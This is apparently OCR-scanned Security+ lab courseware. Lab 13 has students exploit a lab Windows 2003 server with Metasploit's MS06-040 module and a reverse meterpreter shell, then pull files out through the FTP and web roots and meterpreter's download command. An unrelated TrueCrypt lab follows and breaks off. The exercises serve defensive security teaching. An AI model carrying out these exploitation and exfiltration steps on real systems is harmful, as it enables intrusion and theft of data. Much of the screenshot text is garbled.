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Lab 13: Importance of Data Security - Data Theft

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will learn some of the various methods that a hacker will
use to take data out of a network. One of the main reasons that attackers break into
computer networks is to steal a company’s data. Data stolen could consist of
confidential information, such as an aircraft manufacturer's plans for building an
airplane or other proprietary information that could cause serious financial damage if
not kept confidential.

This lab includes the following tasks:
e Task 1 - Using Metasploit to Attack a Remote System

e Task 2 - Stealing Data using FTP and HTTP
e Task 3 - Stealing Data using Meterpreter
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2 Objective: Explain the Importance of Data Security

You may have read an article online about how data or credit card databases are stolen
from a network. You may wonder how the hacker got into the company’s systems and
what techniques the attacker used to steal the information from the network.

Meterpreter Shell [1] — Meterpreter is another payload that can be used within
Metasploit. The meterpreter environment allows the user to interact with the
operating system much like the Windows command prompt, except that the
meterpreter shell is even more powerful and has a set of unique commands specifically
that deal with exploitation. The meterpreter payload also allows the user to spawn a
command shell.

Metasploit [2] — Metasploit is an exploitation framework. Version 3 of Metasploit is
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.
Some exploits are for the operating systems themselves and others are for applications
like Adobe Reader and Internet Explorer. There is a detailed description of each exploit,
which explains which version of the operating system, or application software is
vulnerable.

FTP — File Transfer Protocol, or FTP, can be used to transfer files from one computer to

another. The FTP protocol uses the Transmission Control Protocol (TCP) and two ports,
20 and 21. Port 21 is used for the commands and port 20 is used for the data transfer.

Credentials and files that are transferred using FTP are sent in clear text.

HTTP — Hyper Text Transfer Protocol, or HTTP, can be used to download files. The HTTP
protocol uses the Transmission Control Protocol (TCP) and port 80. HTTP clients include
browsers and wget.exe. Web server software includes Microsoft’s Internet Information
Services (lIS) and Apache. This is web server software, commonly used on Linux
machines. However, Apache can be utilized on Windows, Mac OS X, and UNIX.

Windows Command Shell — The Windows command shell allows users to interact with
the operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. The Windows Command Shell is one of the payloads that can be used
within Metasploit. If a system is vulnerable to an exploit and a hacker launches a
successful attack, a command shell can be sent from the victim’s machine to the
attacker. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system.
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine 192.168.100.3

BackTrack 5 root password password

Windows 2k3 Server Internal Victim Machine 192.168.100.201

Windows 2k3 Server administrator password password

BackTrack 5 Login:

1. Click on the BackTrack 5 icon on the topology.
2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Password : .

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[+] To start a graphical interface, type
[*] The default root password is " =

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up
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Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

- ¥ Windows Server2003
¥. Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: | Administrator

Password: l .oooooool

| q*& I Cancel J Options >v>_|
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Task 1 Using Metasploit to Attack a Remote System

Metasploit has exploits for the Windows, Mac, Linux, and UNIX operating systems, as
well as some exploits for mobile devices like the iPhone and Droid. It actually started
out as a game but it is a serious tool that can be used to exploit vulnerabilities.
Metasploit is available in both free and commercial versions and is maintained by the
company Rapid 7. Understanding how an attacker can use a tool like Metasploit can
help someone better understand network security and the importance of hardening
their systems.

Task 1.1 Attacking a Remote Machine Using Metasploit
To launch and explore Metasploit, type the following commands:
1. Open aterminal within the BackTrack 5 system by clicking on the terminal icon in
the top left corner and type msfconsole to launch Metasploit.
root@bt:~#msfconsole

2. The banner you see may be different from the one in shown below. Type
banner to change the banner.

ore:4. api:1.0]

'lu expl ole Llary - 68 post
226 payloads - 27 encodars - 8 nops
svn 113462 up dted (2011.08.01)

k was last updated
. [ ework at least every
For information on updating your copy of Metasploit, p
https://community.rapid7.com/docs/DOC-1306

Figure 4: The msfconsole of Metasploit
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3. Atthe msf prompt, you can type ? to see a list of available commands:
msf > ?

~ v X root@bt: ~
vile Edit View Terminal Help

back
banner
cd

Figure 5: Commands Available within Msfconsole

Not all of the available commands are displayed when you type ?. For example, the
ifconfig and nmap programs loaded on the BackTrack operating system can be used.

4. To view the IP Address of the BackTrack 5 machine (attacker), type the following:
msf > ifconfig

p:Ethernet HWaddr 00:50:56:98:00:9¢

4 Scope.:

UP BROADCAST RUNNING M MTU: 1500 Me
RX packets:27 :
X packets: err
collisio 0 txqueue
1266661 ( .6 KB)
Interrupt:19 Base address:0Ox

Figure 6: The ifconfig command runs within msfconsole

The ifconfig command comes in handy if you forget the IP Address of the attacking
machine or if you are using DHCP and are unsure what IP Address is in use.
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5. Another handy command that can be used within msfconsole is nmap.
To see all of the switches that can be used with the nmap command, type:
msf > nmap

Exclude 11

e
o
w

|
VWOV WV n -~

ip; host discovery
YN/ACK, "UDP or SCTP dis€overy to given
and netmask request discovery

default:
, tom DNS

s DNS resolver
op path to each

Figure 7: Switches Available for Nmap

6. To view the other machines that are active on the subnet, type:
msf > nmap —-sP 192.168.100.*

.100.*
.168.100.*

(o))
i

at/2012-92-27 02 :16 JEST

)

.100.3

(
(e i1 =

Q wn

.100.201
latency).
6:98:00:96 (VMware)
(2 hosts up)

Figure 8: Searching for Exploits within the Metasploit Framework
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The BackTrack 5 Attack machine has the IP Address of 192.168.100.3. The victim is
192.168.100.201.

Starting Nm : //n ey ey ga YA

Nmap scan

JHOST 1S up,
Nmap scan report for 192.168.160.201
Host 1s up (0.00048s latency).

Figure 9: The Nmap Scan identifies the Attacker and the Victim

7. Type the following to perform an Operating System Scan of the remote host:
msf > nmap -0 192.168.100.201

.100.201
)2.168.100.201

ng Nmap 5.51SVN ( http://nmap.org }at 2012-02-27 04:56+EST
can report for 192.168.100.201
up (0.00068s latency).
closed ports
SERVICE
ftp
telnet
smtp
domain
nttp
kerberos-sec
pop3
mSIrpg
open . netbios-ssn
open ldap
open microsoft-ds
open kpasswd>5
open hitp-rpc-epmap
open ldapssl
open NFS-or-IIS
open LSA-or-nterm
open unknown
open neodl
open jstel
n globalcatLDAP
globalcatLDAPssl
unknown
00:50:56:98:00:96 (VMware)
ype: general purpose
Microsoft Windows XP|2003

W=k = 00 0
w
~+ ~+ +
e O O
T T T

e

8
1
3
39
8
4
6

(e bl g

O

W A& W
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—
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Figure 10: An Operating System Scan of the Victim
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According to the nmap operating system scan results, the victim machine is a Windows
2003 box without a service pack. It will be vulnerable to the following exploit:

e MS06_040 - Windows Server Service Remote Buffer Overflow Vulnerability

You can get more detail about this vulnerability at the following link:
http://technet.microsoft.com/en-us/security/bulletin/ms06-040

8. Search for a Remote Procedure Call (RPC) exploit by typing search ms06-040 at
the msf console:
msf > search ms06-040

Figure 11: Searching for the MS06-040 Vulnerability

9. To use the MS06_040 exploit, type the following command into the msf console:
msf > use exploit/windows/smb/ms06_040_netapi

Figure 12: Using the exploit

10. To display a list of options that are available for the exploit:
msf > show options

exploit( ) > show options
Module options (exploit/windows/smb/ms@6 040 netapi):
WENS Current Setting Description

RHOST S The target addr
RPORT 445 yes Set the SMB se

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

oit target:

Automatic (NT 4.0, 2000 SPO-SP4, XP SPO-SP1)

Figure 13: Showing the Options for the Exploit
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11. Type the following command to get information about the ms06_040_netapi
exploit:
msf > info

License: Metsa
Rank: Good

omatic (NT 4.0, 2000 SPO-SP4, XP SPO-SP1)
ws NT 4.0 / Windows 2000 SPO-SP4
XP SPO/SP1
SP1 English
SP1 Italian

Description

/ he target address
RPORT et the SMB s port
SMBPIPE BROWSER S he pipe name to use (BROWSER, SRVSVC)

Figure 14: Showing Information about the Exploit

The exploit requires port 445 to be open on the victim machine. This port was open
when we performed an operating system scan on the victim machine using nmap.
Nevertheless, we can run the scan again against the victim machine, verifying that port
445 is open.

12. Type the following command to scan for port 445 on the victim machine:
msf exploit(ms06_040_netapi) > nmap -0 192.168.100.201 —p 445

ie could not find at least 1 open and 1 closed port

P Professional SP2 or Windows Ser
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Figure 15: Scanning to determine if Port 445 is open

To attack the remote machine, we need to set the target IP Address, or rhost.

13. Type the following command to set the rhost (remote host) within Metasploit:
msf exploit(ms06_040_netapi) > set rhost 192.168.100.201

rhost 192.168.100.201

Figure 16: Setting the Remote Host

Next we will need to set a payload. Examples are meterpreter and command shells.

14. Type the following command to set the payload within Metasploit:
msf exploit(ms06_040_netapi) > set payload windows/meterpreter/reverse_tcp

pay load windows FME

freverse tcp

Figure 17: Setting the Payload

We need to provide the IP Address of the machine to send meterpreter to, or lhost.

15. Type the following command to set the lhost (local host) within Metasploit:
msf exploit(ms06_040_netapi) > set lhost 192.168.100.3

312.168.1686.3

Figure 18: Setting the Local Host

This exploit requires a target. The victim is running Windows 2003, so the target is 5.

16. Type the following command to set the target within Metasploit:
msf exploit(ms06_040_netapi) > set target 5

Figure 19: Setting the Target
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17. Type the following command to verify all options within Metasploit:
msf exploit(ms06_040_netapi) > show options

msf exploit( ) > show options

Module options (exploit/windows/smb/ms06 040 ne

Name Current Setting Required

RHOST 192.168.100. > ‘

RPORT 445 > et the SMB ser
SMBPIPE BROWSER ' '

EXITFUNC thread y Exit “techpique: s
LHOST 192.168.100.3 ) The listen addres
LPORT 4444 y The listen port

Exploit target:

Windows 2003 SPO

Figure 20: Showing the Options

18. Type the following command to exploit the target within Metasploit:
msf exploit(ms06_040_netapi) > exploit

) > exploit

~se handler on 192.168.100.3:4444
-1670-01d3-1278-5a f6ee188:3.0@ np:192.168.100.201[\BROWSER]
[ Bound 4b3241c8-1670-01d3-1278-5a47bf6eel88:3.0@ncacn np:192.168.100.201[\BROWSER]
*] Building th Ib data...
] Ca e

to 192.168.100.201
ed (192.168.100.3:4444 -> .168.100.201: ) at 2012-02-27 ©9:41:10 -0500

Figure 21: Exploiting the Victim Machine

If the exploit works, you will receive the message, meterpreter session 1 opened.
If the exploit does not work on the first try, wait a minute. Continue to keep trying to
exploit until it is successful and you should receive a meterpreter session 1 opened

message.

19. Do not close the terminal. This exercise will be continues in Task 2.1.
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Task 1.2 Conclusion

Metasploit is a framework that contains exploits for a variety of operating systems
including Macs, Linux, UNIX, and Windows. A user can interact with Metasploit by
typing msfconsole from the terminal within BackTrack. Once msfconsole has been
launched, the user has the ability to search for an exploit by the vulnerability number.
To determine if the exploit is suitable for the target system, the user can utilize the info
command to get more detailed information about a particular exploit.

Task 1.3 Discussion Questions

What is the command used to set the victim’s IP Address in Metasploit?
What is the command used to set the attacker’s IP Address in Metasploit?
How can you view what items need to be set in order to exploit a victim?
What command can be used within msfconsole to scan a remote system?

A

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 16 of 28
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Task 2 Stealing Data using FTP and HTTP

Data theft from hackers is a serious problem for companies. If attackers are able to
infiltrate an organization's system, they will use various methods to take data out of the
network.

Task 2.1 Stealing Data from the Network using FTP and HTTP

If an attacker is able to get a command prompt on the victim’s machine, and the victim
machine is a FTP or web server, the attacker can leverage those services to move data

out of the network. During this task, we will use the Web and FTP server to steal data.

Interacting with a Command Shell on the Victim’s Machine

1. Continuing on from the end of Task 1.1, you can interact with a command
prompt on the victim machine by typing the following command:

meterpreter > shell

C: \WINDOWS\system32>

Figure 22: A Windows Command Prompt on the Victim Machine

Your command prompt should indicate you are within the C:\Windows\System32
directory.

2. Type the following command to view the files and folders in system32:
C:\Windows\system32>dir

C:\WINDOWSY,

Figure 23: Using the dir Command

There are so many files and folders in this directory, and the output goes by so quickly,
you will be unable to see all of the results, even if you scroll to the top of your screen.

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 17 of 28
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[<]

wshcon.dll
ext.dll
wship6.dll
wshisn.dll
wshnetbs.dll
wshom.ocx
wshqos.dll
WshRm.d11
wshtcpip.dll
wsnmp32.dll
:00 wsock32.dll
:00 wstdecod.dll
7:00 AM 7,920 wtsapi32.dll
7:00 AM ,824 wuauclt.exe
7:00 AM 193,024 wuaueng.dll
7:00 AM 10,752 wuauserv.dll
7:00 AM 32,256 wupdmgr.exe
7:00 AM 59,904 wzedlg.dll
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C:\WINDOWS\system32>

Figure 24: Listing the Files and Folders on the Root of C:

3. We can redirect the listing of all of the files and folders to a text file:

C:\Windows\system32>dir > dir.txt

Figure 25: Redirecting Output to a Text File

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)
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4. To see if the FTP Service is running on the victim , from the BackTrack 5 menu
bar, select Applications, Internet, Firefox Web Browser. Type the following URL

in the address bar:
ftp://192.168.100.201

* Index of ftp://192.168.100.201/ - Mozilla Firefox

File Edit View History Bookmarks Tools Help
M Index of ftp://192.168.100.201/

< © | % ftp://192.168.100.201/

Y BackTrack Linux [ Offensive Security KMExploit-DB Wy Aircrack-ng F3SEORG.org [ Music v

Index of ftp://192.168.100.201/

4t Up to higher level directory
Name Size Last Modified

Figure 26: The FTP Directory Listing of 192.168.100.201

Minimize Firefox by clicking the down arrow in the top left corner of the application.

5. Copy the text file you created to the location where FTP files are stored:
C:\Windows\system32>copy dir.txt c:\Inetpub\ftproot

Figure 27: Copying the file to the FTP Root

You should receive the message that 1 file(s) was copied.

6. Maximize the Firefox window. Click the refresh button. Your file will appear.

H Index of ftp://192.168.100.201/
< © [ tp://192.168.100.201/ B IETX
B BackTrack Linux [ Offensive Security KM Exploit-DB Y Aircrack-ng [E3SEORG.org [gMusic v

Index of ftp://192.168.100.201/

4 Up to higher level directory

Size Last Modified

Name
[ dirtxt 104 KB 03/24/2012  08:47:00 PM

Figure 28: The Copied File Appears within the FTP root
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7. To view the text file, click on the link to dir.txt in the Name column.

% Index of ftp://192.168.100.201/

<« © [ = ftp:/192.168.100.201/ vle| [y

B BackTrack Linux [fOffensive Security [E]Exploit-DB Wy Aircrack-ng [F3SEORG.org [gMusic v

Index of ftp://192.168.100.201/

4+ Up to higher level directory

Name Size Last Modified
— 104KB  03/24/2012 08:47:00 PM

Figure 29: The dir.txt file

Notice that all of the files and folders can now be viewed by scrolling down the page.

(] ftp://192.168.100.201/dir.txt

< & | ftp://192.168.100.201/dir.txt

pyBackTrack Linux [JfoOffensive Security EBExploit-DB

Volume in drive C has no label.
Volume Serial Mumber is 7834-3125

Directory of C:WWINDOWS.system32

03/24/2012 0B:47 PM <DIR=
03/24/2012 0B:47 PM <DIR=

Q7 /03,2008 04:53 PM 289 fwinnt$.inf
Q7 /03,2008 12:3% FPM <DIR= 1025

Q7 /03,2008 12:3% PM <DIR= 1028

Q7 /03,2008 12:35 PMW <DIR=> 1031
Q7/03/2008 12:37 PM <DIR= 1033
Q7/03/2008 12:35 PM <DIR=> 1037
o07/03/2008 12:35 PM <DIR= 1041
o07/03/2008 12:35 PM <DIR= 1042

Q7 /03,2008 12:35 PM <DIR= 1054
Q3/25/2003 07:00 AM 2,151 12520437, cpx
Q3/25,/2003 07:00 AM 2,233 12520850, cpx
Q7 /03,2008 12:3% PM <DIR=> 2052

Q7 03,2008 12:3% FM <DIR=> 3076

Q7 /03,2008 12:35 PM <DIR=> 3com_dmi
Q37252003 07:00 AM G64,512 Gtodsve.dll
Q3/25/2003 07:00 AM 33,792 aaaamon.dll
03/25/2003 407:00 AM 68,096 access.cpl
03/25/2003 07:00 AM 14,032 accserv.mib
Q37252003 07:00 AM E4,512 acctres.dll
03/25/2003 07:00 AM 181,760 accwiz.exe
03/25/2003 07:00 AM 61,952 acelpdec.ax
Q3/25,/2003 07:00 AM 131,072 acledit.dll
Q37252003 07:00 AM 112,664 aclui.dll

Figure 30: The dir.txt file on the FTP site
8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 20 of 28
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Minimize Firefox by clicking the down arrow in the top left corner of the application.

Two common locations where important items might be stored are on the root of the C
drive and on the user’s desktop. On servers, the root of C often has important files.

8. In the command prompt window connected to the victim, type the following:
C:\Windows\system32>cd \

Figure 31: Switch to the Root of C

9. Inthe command prompt window connected to the victim, type the following:
C:\dir

rive C has no label.
L Number is 7834-3125

AUTOEXEC.BAT
CONFIG.SYS
DcList.xml
DNSRecords. txt
Documents and Settings
DOMAIN-RENAME-README.DGC
Domainlistexml
GPFIXUP.EXE
1386
Inetpub
Program Files
RENDOM. EXE
Temp
WINDOWS
wmpub
193,220 by
1,360,990,208 by

Figure 32: Listing the Files on C:

The XML files may contain important information about the Active Directory Domain.
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10. To copy the XML file to the Web Root, type the following command:
C:\>copy *.xml c:\inetpub\wwwroot

Figure 33: Copying Files to the Web Root

You should receive the message, 2 file(s) copied. Maximize the Firefox browser.
11. Type the URL http://192.168.100.201/dclist.xml in the Address Bar and hit enter.

< @ || http://192.168.100.201/dclist.xml

p BackTrack Linux [ Offensive Security KM Exploit-DB Yy Aircrack-ng [H3SEORG

This XML file does not appear to have any style information associa

—<DcList>
<Hash>A84SQqFtvBVocODHjMPCSOk0OS98=</Hash>
<Signature>y87bSs9tb0IRXxeijPWSmNCN4Ek=</Signature>

-<DC=>
<Name>win2k3dc.ptest.org</Name>
<State>Done</State>
<Password>ZYnCnWPcoQw=</Password>
<LastError=0</LastError>
<LastErrorMsg/>
<FatalErrorMsg/>
<Retry/>

</DC=>
</DcList>

Figure 34: The dclist.XML file

Notice that there is a password listed in the file.
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12. In Firefox, go to http://192.168.100.201/Domainlist.xml and hit enter.

QII (51 |,_, http://192.168.100.201/domainlist.xml

pyBackTrack Linux [ Offensive Security KJExploit-DB Yy Aircrack-ng [F3SEt

This XML file does not appear to have any style information asso

—<Forest>

—<Domain>
<!-- PartitionType:Application --=»
<Guid>37696ecf-be01-47b6-a035-d8b37460fe2f</Guid>
<DNSname=>DomainDnsZones.msec.local</DNSname>
<NetBiosName/>
<DcName/>

</Domain >

—<Domain>
<!-- PartitionType:Application --=
<Guid>c963edba-41a3-4b67-8951-82ba9f4b26el </Guid>

<DNSname>ForestDnsZones.msec.local</DNSname>
<NetBiosName/>
<DcName/>

</Domain >

—<Domain>
<!-- ForestRoot --=

<Guid>3f0ef876-3d73-45aa-a3e9-b848d1e3748b</Guid=>
<DNSname>msec.local</DNSname>
<NetBiosName>msec</NetBiosName>
<DcName/>
</Domain>
</Forest=>

Figure 35: The Domainlist.XML file

13. Minimize Firefox by clicking the down arrow in the top left corner of the

application. Do not close the terminal in the BackTrack 5 system. The exercise
will be continued in Task 3.1.
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Task 2.2 Conclusion

If File Transfer Protocol (FTP) or Hyper Text Transfer Protocol (HTTP) servers are running
on a compromised system, they can be leveraged to take data out of the network.
Hackers just need to copy the files they want to steal to the correct Inetpub directory.

Task 2.3 Discussion Questions

What is the default location on the drive where FTP files are stored?
What is the default location on the drive where HTTP files are stored?
What is the command to get a command prompt when in meterpreter?
How can you redirect the output of the dir command into a text file?

A
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Task 3 Stealing Data using Meterpreter

Data theft from hackers is a serious problem for companies. If attackers are able to
infiltrate an organization's system, they will use various methods to take data out of the
network. If an attacker is able to get a meterpreter shell on the victim’s machine, they
can use the download command to steal data from the compromised machine.

Task 3.1 Stealing Data using Meterpreter’s Download

To return to the Meterpreter Shell:

1.

4.

8/15/2012

Continuing on from the Task 2.1, type the following command to leave the
command prompt:
C:\>exit

Figure 36: Leaving the Command Prompt

Type the following command to view your location on the victim system:
meterpreter > pwd

Figure 32: Viewing the Directory Location

Type the following command to switch to the root of the C Drive:
meterpreter > cd \

Figure 37: Switching to the Root of the Drive

Type the following command to view your location on the victim system:
meterpreter > pwd

Figure 38: Viewing the Directory Location
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5. Type the following command list the contents of the root directory:
meterpreter > Is

-0400 TOEXEC.BAT
-0400 CONFIG.S¥S
-0400 DNSRecords.

28160
734

0]
1320
41984

ool ]
(o]

[o O]
JU W o WwWWw

N G

-0500
-9500
-0500
-0500
-9400
o :43 -0400
2012 24 21: 2 -0400
. . 2008-07-C : © -0400 boot.ini
277152 2003 5 ©7:00:00 -0500 ntldr
1610612736 fil 2012-03-24 2 -0400 pagefile.sys
0 r 2008-07-03 16:50:48 -0400 |

Figure 39: Listing the Root of the Drive

6. Type the following command to upload the DNSRecords.txt file
meterpreter > download DNSRecords.txt /root

rpreter > download DNSRecords.txt /root

downloading: DNSRecords.txt -> /root/DNSRecords.
[*] downloaded : DNSRecords.txt -> /root/DNSRecords.

Figure 40: Downloading the DNSRecords.txt file

7. Type the following command to upload the DOMAIN-RENAME-README.DOC
file
meterpreter > download DOMAIN-RENAME-README.DOC /root

ME.DOC /root

-> /root/DOMAIN-RENAME-README.DOC
-> /root/DOMAIN-RENAME-README.DOC

Figure 41: Downloading the DOMAIN-RENAME-README.DOC
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8. To view the two files on your local system, click on Places on the Backtrack menu
bar, and select Home Folder. The two files can be viewed and opened.

Places System [>_]
F‘ Home Folder

rowser

S
Network

Connect to Server...
Desktop

yb 1d
_ldap
> _ldap
ldao

DNSRecords.txt DOMAIN-RENAME-

— Floppy Drive
Network

README.DOC

Figure 42: Viewing the Stolen Files on the Attacker’s System

9. Type exit to close the meterpreter session. Close the terminal and all open
windows when the task is completed.

Task 3.2 Conclusion

Meterpreter is a payload that can be utilized within the Metasploit framework. After
obtaining a meterpreter shell, an attacker can use that shell to steal files from the victim
machine by using the upload command. After the attacker uses meterpreter to
download the files, they can be viewed and opened by the attacker on their system.

Task 3.3 Discussion Questions

What is the command to display your current working directory in meterpreter?
What is the command to download a file within meterpreter?

How can you view files downloaded to your root directory?

How do you list files on the remote system using meterpreter?

PN eE
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5 References

1. Metasploit’s Meterpreter:
http://dev.metasploit.com/documents/meterpreter.pdf

2. Metasploit:
http://metasploit.com/

3. Microsoft Internet Information Services:
http://www.iis.net/

4. Nmap:
http://nmap.org/

5. BackTrack Linux:
http://www.backtrack-linux.org/
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1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

During this lab, students will install and use TrueCrypt. TrueCrypt is a type of disk
encryption software for use with the Windows, Mac, and Linux operating systems.

This lab includes the following tasks:

e Task 1 - Installing TrueCrypt
e Task 2 - Creating a TrueCrypt Container
e Task 3 - Opening and Viewing Data within a TrueCrypt Container

2 Objective: Explain the importance of data security

Data needs to be protected by businesses and government agencies. When data theft
occurs, companies and organizations can lose money, credibility, and customers. There
have been several high profile cases mentioned in the media where a laptop was lost or
stolen and a large number of individuals had their social security numbers compromised.
Using disk encryption software can help protect sensitive data.

TrueCrypt [1] — TrueCrypt is a free, open source, disk encryption software for use with
the Windows, Mac, and Linux operating systems. TrueCrypt can be used to encrypt the
operating system drive, a data drive, or a file container within a partition.

BitLocker [2] — Included with the Enterprise and Ultimate versions of Windows Vista and
Windows 7, it offers full volume Encryption. BitLocker can be utilized with either a

Trusted Platform Module (TPM) chip or a USB key at startup.

FileVault 2 [3] — Starting with Mac OS X 7 (Lion), FileVault version 2 was included with
the operating system. It will encrypt the full disk, not just the user’s home folder.

FileVault [4] — Included with Mac OS X version 3 (Panther) through version 6 (Snow
Leopard). FileVault only encrypts the user’s home folder when activated for the user.

DMCrypt [5] — Can be used to encrypt devices on the Linux operating system.
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3 Pod Topology
BackTrack 5 Windows 7 Red Hat Linux  Windows 2k3 Server
Attack Attack Victim Victim

INTERNAL NETWORK Domain: MSEC.local
192.168.100.0/24

MSEC et [m]
Multi-Purpose HERERN Firewall —
Security Pod 1 s—

Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24

.

BackTrack 4 Windows 2k3 Server
Attack Victim

Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

Windows 7 Internal Attack Machine 192.168.100.5

Windows 7 student password password

Windows 7 Login:

1. Click on the Windows 7 icon on the topology.

2. Enter the username, student (verify the username with your instructor).

3. Type in the password, password and hit enter to log in (verify the password with
your instructor).

Figure 2: Windows 7 login
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Task 1 Installing TrueCrypt
TrueCrypt is free software that works on Windows, Mac OS X, and Linux operating

systems. It can be downloaded from http://www.truecrypt.org/. After installing
TrueCrypt, a user can:

Mount TrueCrypt Volumes

Create TrueCrypt Volumes

Encrypt their Operating System Drive
Encrypt a Data Drive

Task 1.1 TrueCrypt Installation

To install TrueCrypt on your system, perform the following tasks:

1. On the Windows 7 system, double click on the TrueCrypt Setup 7.1a file on your
desktop.

Figure 3: The TrueCrypt Installation Package

2. Click I accept the license terms and click Next.

4 TrueCrypt Setup 7.1 = iR

Please read the license terms

You must accept these license terms before you can use, extract, or install TrueCrypt.

IMPORTANT: By checking the checkbox below, you accept these license terms and signify that you
understand and agree to them. Please dick the ‘arrow down' icon to see the rest of the license.

TrueCrypt License Version 3.0 -
Software distributed under this license is distributed on an "AS 15 BASIS WITHOUT WARRANTIES OF —

ANY KIND. THE ALTHORS AMD DISTRIBUTORS OF THE SOFTWARE DISCLAIM ANY LIABILITY.
ANYOME WHO USES, COPIES, MODIFIES, OR (RE)DISTRIBUTES ANY PART OF THE SOFTWARE IS, BY
SUCH ACTION(S), ACCEPTING AND AGREEING TQ BE BOUND BY ALL TERMS AMD CONDITIONS OF
THIS LICENSE. IF YO DO NOT ACCEPT THEM, DO NOT USE, COPY, MODIFY, NOR. (RE)DISTRIBLTE
THE SOFTWARE, MOR. ANY PART(S) THERECF,

L Definitions
1. "This Product™ means the work (induding, but not limited to, source code, graphics, texts, and -

[ Iaccept the license terms L

TrugCrypt Installer

Help = Back I Mext = I Cancel

Figure 4: Accepting the License Agreement
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You can either install TrueCrypt or extract the files and run the executable. This would
be convenient if the user wanted to use the program without installing it.

3. Select Install to install TrueCrypt and click the Next button.

% TrueCrypt Setup 7.1a E =] @
Wizard Mode

Select one of the modes, If you are not sure which to select, use the default mode,

* Install

Select this option if you want to install TrueCrypt on this system,

" Extract

If you select this option, all files will be extracted from this package but nothing will be
installed on the system. Do not select it if you intend to encrypt the system partition or
gystem drive. Selecting this option can be useful, for example, if you want to run
TrueCrypt in so-called portable mode. TrueCrypt does not have to be installed on the
operating system under which it is run. After all files are extracted, you can directly run
the extracted file TrueCrypt.exe' (then TrueCrypt will run in portable mode).

Help < Back | Mext = | Cancel

Figure 5: Installing TrueCrypt to the Hard Disk

4. Accept the default installation path and click the Install button.

t4 TrueCrypt Setup 7.1a o] @ ([
Setup Options

Here you can set various options to control the installation process.

Please select or type the location where you want to install the TrueCrypt program files. If the
spedfied folder does not exist, it will be automatically created.

| C:\Program Files TrueCrypt}, Browse. ..

v Install for all users

[+ Add TrueCrypt to Start menu

[v Add TrueCrypticon to desktop

[v Assodate the .tc file extension with TrueCrypt
[v Create System Restore point

Help = Back | Install | Cancel

Figure 6: Accepting the Default Installation Path
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5. You should receive a message indicating TrueCrypt was successfully installed.

TrueCrypt Setup =]

@ TrueCrypt has been successfully installed.

OK

Figure 7: TrueCrypt Installed Successfully

6. Click Finish to close the installer.

TrueCrypt Setup 7.1a
TrueCrypt has been successfully installed

Please consider making a donation. You can dick Finish anytime to dose the installer.

Please consider making a donation.

TrueCrypt Installer

Help = Back I Finish I Zancel

Figure 8: Click Finish to Close the Installer

7. Click No to bypass the tutorial. If you choose to view the tutorial, you would
need a PDF viewer in order to read the file.

TrueCrypt Setup =

If you have never used TrueCrypt before, we recornmend that you read
the chapter Beginner's Tuterial in the TrueCrypt User Guide. Do you
want to view the tutorial?

Yes Mo

Figure 9: View Tutorial
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You will now be at the TrueCrypt screen where volumes can be created and mounted.
Notice the TrueCrypt icon in the bottom right hand corner of the screen, which indicates
that TrueCrypt is in use on the system.

8. Click Exit to leave the TrueCrypt program.

Figure 10: TrueCrypt Icon in Right Corner of Taskbar

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 9 of 28



Lab 14: Importance of Data Security - Securing Data Using Encryption Software

Task 1.2 Conclusion

There are many different disk encryption software packages that can be used to protect
your data. Microsoft offers BitLocker, but it only works with certain higher end editions
of their operating system, such as Enterprise and Ultimate. If you are a Mac user, you
can use FileVault. However, FileVault 1 can only be used on Mac OS X, and it only
encrypts the user’s home folder. TrueCrypt is free to use and can be used on Windows,
Mac, and Linux operating systems. TrueCrypt can be used to encrypt volumes and
containers.

Task 1.3 Discussion Questions

Is it necessary to install TrueCrypt in order to use it?

On what operating systems can you use TrueCrypt?

How can you tell if TrueCrypt is in use?

Can you encrypt your operating system drive with TrueCrypt?

e
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Task 2 Creating a TrueCrypt Container
In order to store data in an area where it can be protected, a TrueCrypt container must
be created. You can create the container using a blank text file.
Task 2.1 Creating a Container
1. Right click on the Desktop and select New, then select Text Document.
View

Sort by
Refresh

Paste

Paste shortcut
Undo Copy Ctrl+Z

Folder

| B Screen resolution Shortcut

@ Gadgets #| Bitmap image
& Personalize Contact

Journal Document

Rich Text Document

1, Compressed (zipped) Folder
E) Briefcase

Figure 11: Creating a New Text Document

2. Name the text document securityplus.txt. Use a blank document for a
TrueCrypt container because anything in the text file will be overwritten.

Figure 12: The Text File that will be the TrueCrypt Container
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3. Double click on the shortcut TrueCrypt icon on your desktop. Click Create
Volume.

Volumes System Favorites Tools Settings Help Homepage

